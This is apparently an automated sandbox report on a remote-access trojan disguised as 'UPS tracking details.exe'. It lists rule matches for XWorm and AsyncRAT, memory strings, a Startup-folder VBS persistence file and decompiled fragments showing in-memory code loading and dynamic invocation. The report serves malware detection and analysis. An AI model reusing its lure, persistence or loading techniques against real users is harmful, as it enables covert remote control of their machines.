Source: UPS tracking details.exe, 00000001.00000002.1681842901.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs UPS tracking details.exe
Source: UPS tracking details.exe, 00000001.00000002.1695473543.0000000003662000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs UPS tracking details.exe
Source: UPS tracking details.exe, 00000001.00000002.1682564416.000000000266D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameDOGGY XWORM.exe4 vs UPS tracking details.exe
Source: UPS tracking details.exe, 00000001.00000002.1682564416.0000000002581000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs UPS tracking details.exe
Source: UPS tracking details.exe, 00000001.00000002.1699691438.0000000005B30000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs UPS tracking details.exe
Source: UPS tracking details.exe, 00000001.00000002.1695473543.0000000003755000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameEnxfelbpex.dll" vs UPS tracking details.exe
Source: UPS tracking details.exe, 00000001.00000002.1699502154.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs UPS tracking details.exe
Source: UPS tracking details.exe, 00000001.00000000.1536927005.00000000000E2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: IsUseOriginalFilename vs UPS tracking details.exe
Source: UPS tracking details.exe, 00000001.00000000.1536927005.00000000000E2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: UseOriginalFilename vs UPS tracking details.exe
Source: UPS tracking details.exe, 00000001.00000000.1536927005.00000000000E2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: useOriginalFilename vs UPS tracking details.exe
Source: UPS tracking details.exe, 00000001.00000000.1536927005.00000000000E2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: PublicIdsTagsPrefixesprefixesCheckModemodeTransformationstransformationsTargetFormattargetFormatTargetPublicIdtargetPublicIdIsFlattenFoldersFlattenFoldersflattenFoldersIsFlattenTransformationsFlattenTransformationsflattenTransformationsExpiresAtexpiresAtIsUseOriginalFilenameUseOriginalFilenameuseOriginalFilenameIsAsyncAsyncasyncNotificationUrlnotificationUrlTargetTagstargetTagsIsKeepDerivedKeepDerivedkeepDerivedIsSkipTransformationNameSkipTransformationNameskipTransformationNameToParamsDictionaryset_Urlget_SecureUrlset_SecureUrlget_PublicIdset_PublicIdget_Bytesset_Bytesget_FileCountset_FileCountSecureUrlBytesFileCountAddCustomParamAddParamMinValueAddCoordinatescoordObj<>9__10_0PendingRejectedApprovedOverriddenImageRawset_Versionset_Uriget_SecureUriset_SecureUriset_LengthSecureUriLengthset_StatusCodeget_JsonObjset_JsonObjget_Errorset_Errorget_Limitset_Limitget_Remainingset_Remainingget_Resetset_ResetStatusCodeJsonObjLimitRemainingResetget_Messageset_MessageMessageStatusKindResponseUpdatedAtget_PublicIdsset_PublicIdsget_Contextset_Contextget_Typeset_Typeget_Commandset_CommandCommandRemoveAllget_Nameset_Nameget_Transformset_TransformName vs UPS tracking details.exe
Source: UPS tracking details.exe, 00000001.00000000.1536927005.00000000000E2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: get_DiscardOriginalFilename vs UPS tracking details.exe
Source: UPS tracking details.exe, 00000001.00000000.1536927005.00000000000E2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: set_DiscardOriginalFilename vs UPS tracking details.exe
Source: UPS tracking details.exe, 00000001.00000000.1536927005.00000000000E2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: DiscardOriginalFilename vs UPS tracking details.exe
Source: UPS tracking details.exe, 00000001.00000000.1536927005.00000000000E2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: set_Transformationget_NotificationUrlset_NotificationUrlget_Statusset_Statusget_BatchIdset_BatchIdBatchIdget_Foldersset_FoldersFoldersget_Exifset_Exifget_Colorsset_Colorsget_Facesset_Facesget_Metadataset_Metadataget_Coordinatesset_Coordinatesget_MaxResultsset_MaxResultsget_Phashset_PhashExifColorsFacesMetadataPhashget_Createdset_Createdget_Derivedset_Derivedget_Moderationset_Moderationget_Predominantset_Predominantget_Infoset_InfoCreatedget_Customset_CustomCustomget_Googleset_GoogleGoogleget_Idset_IdIdget_Detectionset_Detectionget_RekognitionFaceset_RekognitionFaceget_BoundingBoxset_BoundingBoxget_Confidenceset_Confidenceget_Ageset_Ageget_Smileset_Smileget_Glassesset_Glassesget_Sunglassesset_Sunglassesget_Beardset_Beardget_Mustacheset_Mustacheget_EyeClosedset_EyeClosedget_MouthOpenWideset_MouthOpenWideget_Beautyset_Beautyget_Genderset_Genderget_Raceset_Raceget_Emotionset_Emotionget_Qualityset_Qualityget_Poseset_Poseget_EyeLeftPositionset_EyeLeftPositionget_EyeRightPositionset_EyeRightPositionget_EyeLeft_Leftset_EyeLeft_Leftget_EyeLeft_Rightset_EyeLeft_Rightget_EyeLeft_Upset_EyeLeft_Upget_EyeLeft_Downset_EyeLeft_Downget_EyeRight_Leftset_EyeRight_Leftget_EyeRight_Rightset_EyeRight_Rightget_EyeRight_Upset_EyeRight_Upget_EyeRight_Downset_EyeRight_Downget_NosePositionset_NosePositionget_NoseLeftset_NoseLeftget_NoseRightset_NoseRightget_MouthLeftset_MouthLeftget_MouthRightset_MouthRightget_MouthUpset_MouthUpget_MouthDownset_MouthDownConfidenceAgeSmileGlassesSunglassesBeardMustacheEyeClosedMouthOpenWideBeautyGenderRaceEmotionPoseEyeLeftPositionEyeRightPositionEyeLeft_LeftEyeLeft_RightEyeLeft_UpEyeLeft_DownEyeRight_LeftEyeRight_RightEyeRight_UpEyeRight_DownNosePositionNoseLeftNoseRightMouthLeftMouthRightMouthUpMouthDownget_TopLeftset_TopLeftget_Sizeset_SizeTopLeftget_Strictset_Strictget_Usedset_UsedStrictUsedget_Unsignedset_Unsignedget_Settingsset_SettingsUnsignedget_DisallowPublicIdset_DisallowPublicIdget_Backupset_Backupget_UseFilenameset_UseFilenameget_UniqueFilenameset_UniqueFilenameget_DiscardOriginalFilenameset_DiscardOriginalFilenameget_Proxyset_Proxyget_Folderset_Folderget_Overwriteset_Overwriteget_RawConvertset_RawConvertget_AllowedFormatsset_AllowedFormatsget_Categorizationset_Categorizationget_AutoTaggingset_AutoTaggingget_SimilaritySearchset_SimilaritySearchget_Ocrset_OcrDisallowPublicIdBackupUseFilenameUniqueFilenameDiscardOriginalFilenameProxyOverwriteRawConvertAllowedFormatsCategorizationAutoTaggingSimilaritySearchOcr vs UPS tracking details.exe
Source: UPS tracking details.exe, 00000001.00000002.1695473543.00000000036B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs UPS tracking details.exe
Source: UPS tracking details.exe, 00000001.00000002.1695473543.0000000003764000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs UPS tracking details.exe
Source: UPS tracking details.exe, 00000001.00000000.1537011166.00000000001B8000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamedoggy tk.exe2 vs UPS tracking details.exe
Source: UPS tracking details.exe, 00000001.00000002.1697608532.0000000005520000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameEnxfelbpex.dll" vs UPS tracking details.exe
Source: UPS tracking details.exe, 00000001.00000002.1682564416.0000000002A94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameDOGGY XWORM.exe4 vs UPS tracking details.exe
Source: UPS tracking details.exe, 00000003.00000002.2789720458.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameDOGGY XWORM.exe4 vs UPS tracking details.exe
Source: UPS tracking details.exe, 00000003.00000002.2790126652.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs UPS tracking details.exe
Source: UPS tracking details.exe	Binary or memory string: IsUseOriginalFilename vs UPS tracking details.exe
Source: UPS tracking details.exe	Binary or memory string: UseOriginalFilename vs UPS tracking details.exe
Source: UPS tracking details.exe	Binary or memory string: useOriginalFilename vs UPS tracking details.exe
Source: UPS tracking details.exe	Binary or memory string: PublicIdsTagsPrefixesprefixesCheckModemodeTransformationstransformationsTargetFormattargetFormatTargetPublicIdtargetPublicIdIsFlattenFoldersFlattenFoldersflattenFoldersIsFlattenTransformationsFlattenTransformationsflattenTransformationsExpiresAtexpiresAtIsUseOriginalFilenameUseOriginalFilenameuseOriginalFilenameIsAsyncAsyncasyncNotificationUrlnotificationUrlTargetTagstargetTagsIsKeepDerivedKeepDerivedkeepDerivedIsSkipTransformationNameSkipTransformationNameskipTransformationNameToParamsDictionaryset_Urlget_SecureUrlset_SecureUrlget_PublicIdset_PublicIdget_Bytesset_Bytesget_FileCountset_FileCountSecureUrlBytesFileCountAddCustomParamAddParamMinValueAddCoordinatescoordObj<>9__10_0PendingRejectedApprovedOverriddenImageRawset_Versionset_Uriget_SecureUriset_SecureUriset_LengthSecureUriLengthset_StatusCodeget_JsonObjset_JsonObjget_Errorset_Errorget_Limitset_Limitget_Remainingset_Remainingget_Resetset_ResetStatusCodeJsonObjLimitRemainingResetget_Messageset_MessageMessageStatusKindResponseUpdatedAtget_PublicIdsset_PublicIdsget_Contextset_Contextget_Typeset_Typeget_Commandset_CommandCommandRemoveAllget_Nameset_Nameget_Transformset_TransformName vs UPS tracking details.exe
Source: UPS tracking details.exe	Binary or memory string: get_DiscardOriginalFilename vs UPS tracking details.exe
Source: UPS tracking details.exe	Binary or memory string: set_DiscardOriginalFilename vs UPS tracking details.exe
Source: UPS tracking details.exe	Binary or memory string: DiscardOriginalFilename vs UPS tracking details.exe
Source: UPS tracking details.exe	Binary or memory string: set_Transformationget_NotificationUrlset_NotificationUrlget_Statusset_Statusget_BatchIdset_BatchIdBatchIdget_Foldersset_FoldersFoldersget_Exifset_Exifget_Colorsset_Colorsget_Facesset_Facesget_Metadataset_Metadataget_Coordinatesset_Coordinatesget_MaxResultsset_MaxResultsget_Phashset_PhashExifColorsFacesMetadataPhashget_Createdset_Createdget_Derivedset_Derivedget_Moderationset_Moderationget_Predominantset_Predominantget_Infoset_InfoCreatedget_Customset_CustomCustomget_Googleset_GoogleGoogleget_Idset_IdIdget_Detectionset_Detectionget_RekognitionFaceset_RekognitionFaceget_BoundingBoxset_BoundingBoxget_Confidenceset_Confidenceget_Ageset_Ageget_Smileset_Smileget_Glassesset_Glassesget_Sunglassesset_Sunglassesget_Beardset_Beardget_Mustacheset_Mustacheget_EyeClosedset_EyeClosedget_MouthOpenWideset_MouthOpenWideget_Beautyset_Beautyget_Genderset_Genderget_Raceset_Raceget_Emotionset_Emotionget_Qualityset_Qualityget_Poseset_Poseget_EyeLeftPositionset_EyeLeftPositionget_EyeRightPositionset_EyeRightPositionget_EyeLeft_Leftset_EyeLeft_Leftget_EyeLeft_Rightset_EyeLeft_Rightget_EyeLeft_Upset_EyeLeft_Upget_EyeLeft_Downset_EyeLeft_Downget_EyeRight_Leftset_EyeRight_Leftget_EyeRight_Rightset_EyeRight_Rightget_EyeRight_Upset_EyeRight_Upget_EyeRight_Downset_EyeRight_Downget_NosePositionset_NosePositionget_NoseLeftset_NoseLeftget_NoseRightset_NoseRightget_MouthLeftset_MouthLeftget_MouthRightset_MouthRightget_MouthUpset_MouthUpget_MouthDownset_MouthDownConfidenceAgeSmileGlassesSunglassesBeardMustacheEyeClosedMouthOpenWideBeautyGenderRaceEmotionPoseEyeLeftPositionEyeRightPositionEyeLeft_LeftEyeLeft_RightEyeLeft_UpEyeLeft_DownEyeRight_LeftEyeRight_RightEyeRight_UpEyeRight_DownNosePositionNoseLeftNoseRightMouthLeftMouthRightMouthUpMouthDownget_TopLeftset_TopLeftget_Sizeset_SizeTopLeftget_Strictset_Strictget_Usedset_UsedStrictUsedget_Unsignedset_Unsignedget_Settingsset_SettingsUnsignedget_DisallowPublicIdset_DisallowPublicIdget_Backupset_Backupget_UseFilenameset_UseFilenameget_UniqueFilenameset_UniqueFilenameget_DiscardOriginalFilenameset_DiscardOriginalFilenameget_Proxyset_Proxyget_Folderset_Folderget_Overwriteset_Overwriteget_RawConvertset_RawConvertget_AllowedFormatsset_AllowedFormatsget_Categorizationset_Categorizationget_AutoTaggingset_AutoTaggingget_SimilaritySearchset_SimilaritySearchget_Ocrset_OcrDisallowPublicIdBackupUseFilenameUniqueFilenameDiscardOriginalFilenameProxyOverwriteRawConvertAllowedFormatsCategorizationAutoTaggingSimilaritySearchOcr vs UPS tracking details.exe
Source: UPS tracking details.exe	Binary or memory string: OriginalFilenamedoggy tk.exe2 vs UPS tracking details.exe

Source: UPS tracking details.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 1.2.UPS tracking details.exe.27756d4.1.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 1.2.UPS tracking details.exe.27756d4.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.2.UPS tracking details.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 3.2.UPS tracking details.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 1.2.UPS tracking details.exe.27756d4.1.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 1.2.UPS tracking details.exe.27756d4.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000003.00000002.2789720458.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000001.00000002.1682564416.00000000029ED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000001.00000002.1682564416.000000000266D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: UPS tracking details.exe, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: UPS tracking details.exe, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: UPS tracking details.exe, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 1.2.UPS tracking details.exe.27756d4.1.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.UPS tracking details.exe.27756d4.1.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.UPS tracking details.exe.27756d4.1.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 1.2.UPS tracking details.exe.37b4e00.2.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 1.2.UPS tracking details.exe.37b4e00.2.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 1.2.UPS tracking details.exe.37b4e00.2.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 1.2.UPS tracking details.exe.37b4e00.2.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'

Source: 1.2.UPS tracking details.exe.37b4e00.2.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 1.2.UPS tracking details.exe.37b4e00.2.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 1.2.UPS tracking details.exe.37b4e00.2.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 1.2.UPS tracking details.exe.37b4e00.2.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 1.2.UPS tracking details.exe.37b4e00.2.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 1.2.UPS tracking details.exe.27756d4.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 1.2.UPS tracking details.exe.27756d4.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.UPS tracking details.exe.37b4e00.2.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@4/3@1/1

Source: C:\Users\user\Desktop\UPS tracking details.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Remaining.vbs

Jump to behavior

Source: C:\Users\user\Desktop\UPS tracking details.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\UPS tracking details.exe	Mutant created: \Sessions\1\BaseNamedObjects\56TvElZMbqDoRvU7
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1104:64:WilError_03

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\a731107b-9c7a-46b2-86aa-3978d58a6040

Jump to behavior

Source: UPS tracking details.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: UPS tracking details.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\UPS tracking details.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: UPS tracking details.exe

ReversingLabs: Detection: 21%

Source: C:\Users\user\Desktop\UPS tracking details.exe

File read: C:\Users\user\Desktop\UPS tracking details.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\UPS tracking details.exe "C:\Users\user\Desktop\UPS tracking details.exe"
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process created: C:\Users\user\Desktop\UPS tracking details.exe "C:\Users\user\Desktop\UPS tracking details.exe"
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6572 -s 928
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process created: C:\Users\user\Desktop\UPS tracking details.exe "C:\Users\user\Desktop\UPS tracking details.exe"	Jump to behavior

Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: mscorjit.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Section loaded: sspicli.dll	Jump to behavior

Source: C:\Users\user\Desktop\UPS tracking details.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\UPS tracking details.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: UPS tracking details.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: UPS tracking details.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Windows\System.pdbpdbtem.pdb source: UPS tracking details.exe, 00000003.00000002.2790126652.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \System.pdb source: UPS tracking details.exe, 00000003.00000002.2790126652.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.pdbwz source: UPS tracking details.exe, 00000003.00000002.2790126652.0000000000DED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.pdb0 source: UPS tracking details.exe, 00000003.00000002.2790126652.0000000000DA3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: UPS tracking details.exe, 00000001.00000002.1699691438.0000000005B30000.00000004.08000000.00040000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1695473543.0000000003764000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Desktop\UPS tracking details.PDBD{ww`P source: UPS tracking details.exe, 00000003.00000002.2789943672.0000000000CF7000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: UPS tracking details.exe, 00000001.00000002.1699691438.0000000005B30000.00000004.08000000.00040000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1695473543.0000000003764000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: UPS tracking details.exe, 00000001.00000002.1695473543.0000000003662000.00000004.00000800.00020000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1699502154.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1695473543.00000000036B2000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: UPS tracking details.exe, 00000001.00000002.1695473543.0000000003662000.00000004.00000800.00020000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1699502154.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1695473543.00000000036B2000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.pdb source: UPS tracking details.exe, 00000003.00000002.2790126652.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HPzo,C:\Windows\System.pdb source: UPS tracking details.exe, 00000003.00000002.2789943672.0000000000CF7000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.pdb source: UPS tracking details.exe, 00000003.00000002.2790126652.0000000000DA3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ##.pdb source: UPS tracking details.exe, 00000003.00000002.2789943672.0000000000CF7000.00000004.00000010.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: UPS tracking details.exe, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 1.2.UPS tracking details.exe.27756d4.1.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 1.2.UPS tracking details.exe.27756d4.1.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 1.2.UPS tracking details.exe.27756d4.1.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: 1.2.UPS tracking details.exe.27756d4.1.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 1.2.UPS tracking details.exe.27756d4.1.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 1.2.UPS tracking details.exe.27756d4.1.raw.unpack, Messages.cs	.Net Code: Memory
Source: 1.2.UPS tracking details.exe.37b4e00.2.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
